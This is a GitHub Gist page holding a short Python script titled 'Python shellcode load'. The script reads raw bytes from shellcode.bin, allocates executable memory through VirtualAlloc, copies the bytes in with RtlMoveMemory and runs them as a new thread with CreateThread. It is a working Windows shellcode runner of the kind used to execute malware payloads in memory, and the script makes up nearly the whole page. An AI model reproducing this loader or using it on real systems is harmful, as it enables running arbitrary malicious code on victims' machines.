Created
November 30, 2022 21:15
-
-
Save daddycocoaman/eaa674e8e536adbc5e14ece9c8a5811b to your computer and use it in GitHub Desktop.
Python shellcode load
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ctypes | |
from pathlib import Path | |
shellcode = bytearray(Path("shellcode.bin").read_bytes()) | |
kernel32 = ctypes.windll.kernel32 | |
kernel32.VirtualAlloc.restype = ctypes.c_void_p | |
kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t] | |
ptr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) | |
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) | |
kernel32.RtlMoveMemory(ptr, buffer, len(shellcode)) | |
handle = kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None) | |
kernel32.WaitForSingleObject(handle, -1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment